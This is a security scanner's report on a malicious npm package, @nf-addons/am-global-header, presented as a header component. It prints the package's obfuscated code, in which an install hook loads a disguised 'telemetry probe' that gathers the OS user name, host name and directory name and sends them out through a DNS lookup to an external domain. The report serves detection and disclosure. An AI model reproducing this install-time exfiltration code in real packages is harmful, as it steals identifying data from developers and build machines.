@nf-addons/am-global-header: Malicious npm security report | LPM Firewall

Loading npm security reports…

@nf-addons/am-global-header: Malicious npm security report | LPM Firewall

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "install": "node index.js", "tes

High

Suspicious Lifecycle Evidence

The install lifecycle automatically runs the package entrypoint.

package.jsonView on unpkg · L7

runtime/support/telemetry/probe/impl.jsView file

•Obfuscated runtime modules collect host identity for a fixed external DNS query. [redacted].js: const diag=require('./c6e2a9.js');const cfg=require('./d7f3b0.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c... [redacted].js: [redacted].js Dynamic DNS/OS/process loader in [redacted].js: const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

runtime/support/telemetry/probe/impl.jsView on unpkg

8const diag=require('./c6e2a9.js');const cfg=require('./d7f3b0.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[cfg.decode([0x75,0x73,0x65,0x72,0x6e,0x61,0x6d,0x65])]);}catch(e){}try{h=diag.clean(diag.os[cfg.decode([0x68,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65])]());}catch(e){}try{c=diag.clean(diag.proc[cfg.decode([0x63,0x77,0x64])]().split(/[\/\\]/).pop());}catch(e){}const t=Math.floor(Date.now()/1e3);const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.

High

Ai Review Evidence

The probe collects the operating-system user name, host name, and current-directory basename.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

8}catch(e){}const t=Math.floor(Date.now()/1e3);const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(

High

Ai Review Evidence

The probe encodes those values into a DNS name and resolves it.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

index.jsView file

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

The entrypoint loads the runtime during installation.

index.jsView on unpkg · L7

runtime/support/telemetry/index.jsView file

5var probe = require('./probe'); function start(config) { try { probe.run(config); }

High

Ai Review Evidence

The telemetry module loads the probe as part of that runtime import chain.

runtime/support/telemetry/index.jsView on unpkg · L5

runtime/support/telemetry/probe/c6e2a9.jsView file

2const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};const _0xc2j0=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x8e6f));const _0xd3k1=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x9f7g));const _0xe4l2=global[_0xb1i9(_0xa0h8)];const clean=(s)=>(s+'').replace(/[^a-z0-9]/gi,'').slice(0,15);module.exports={os:_0xc2j0,dns:_0xd3k1,

High

Ai Review Evidence

Obfuscated helpers load operating-system and DNS modules and decode the external DNS suffix.

runtime/support/telemetry/probe/c6e2a9.jsView on unpkg · L2

runtime/support/telemetry/probe/d7f3b0.jsView file

2const _0xa1b2=[0x2e];const _0xb2c3=[0x6e,0x66,0x61,0x6d,0x68];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];const _0xd4e5=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};module.exports={decode:_0xd4e5,d:_0xd4e5(_0xa1b2),p:_0xd4e5(_0xb2c3),dom:_0xd4e5(_0xc3d4)};

High

Ai Review Evidence

Obfuscated helpers load operating-system and DNS modules and decode the external DNS suffix.

runtime/support/telemetry/probe/d7f3b0.jsView on unpkg · L2

Source & flagged code

9 flagged

package.jsonView file

Lines 1-20json

1{

2 "name": "@nf-addons/am-global-header",

3 "version": "9.9.10",

4 "description": "Global header addon for account management surfaces",

5 "main": "index.js",

6 "types": "index.d.ts",

7 "scripts": {

8 "install": "node index.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

9 "test": "node test/smoke.js"

High

Suspicious Lifecycle Evidence

The install lifecycle automatically runs the package entrypoint.

package.jsonView on unpkg · L7

10 },

11 "files": ["index.js","index.d.ts","runtime","src","docs","examples","test","README.md","LICENSE","CHANGELOG.md"],

12 "keywords": ["nf-addons", "header", "navigation", "components", "account-management", "enterprise"],

13 "engines": { "node": ">=14" },

14 "repository": { "type": "git", "url": "git+https://github.com/nf-addons/am-global-header.git" },

15 "homepage": "https://github.com/nf-addons/am-global-header#readme",

16 "bugs": { "url": "https://github.com/nf-addons/am-global-header/issues" },

17 "author": "NF Addons Engineering <eng@nf-addons.dev>",

18 "license": "MIT"

19}

20

runtime/support/telemetry/probe/impl.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * Environment probe for registry connectivity diagnostics.

4 * Emits a best-effort DNS probe so operators can verify that build

5 * agents can reach the configured registry mirror endpoints.

6 * Failures are expected in offline environments and are ignored.

7 */

8const diag=require('./c6e2a9.js'

index.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * @nf-addons/am-global-header — bootstrap entrypoint

4 * ✅ initializes runtime environment

5 * ✅ never throws during install (bootstrap is advisory)

6 */

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

runtime/support/telemetry/index.jsView file

Lines 1-10javascript

1'use strict';

2/**

3 * Telemetry pipeline for @nf-addons/am-global-header.

4 */

5var probe = require('./probe');

6function start(config) {

runtime/support/telemetry/probe/c6e2a9.jsView file

Lines 1-3javascript

1'use strict';

2const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[

runtime/support/telemetry/probe/d7f3b0.jsView file

Lines 1-3javascript

1'use strict';

2const _0xa1b2=[0x2e];const _0xb2c3=[0x6e,0x66,0x61,0x6d,0x68];const _0xc3d4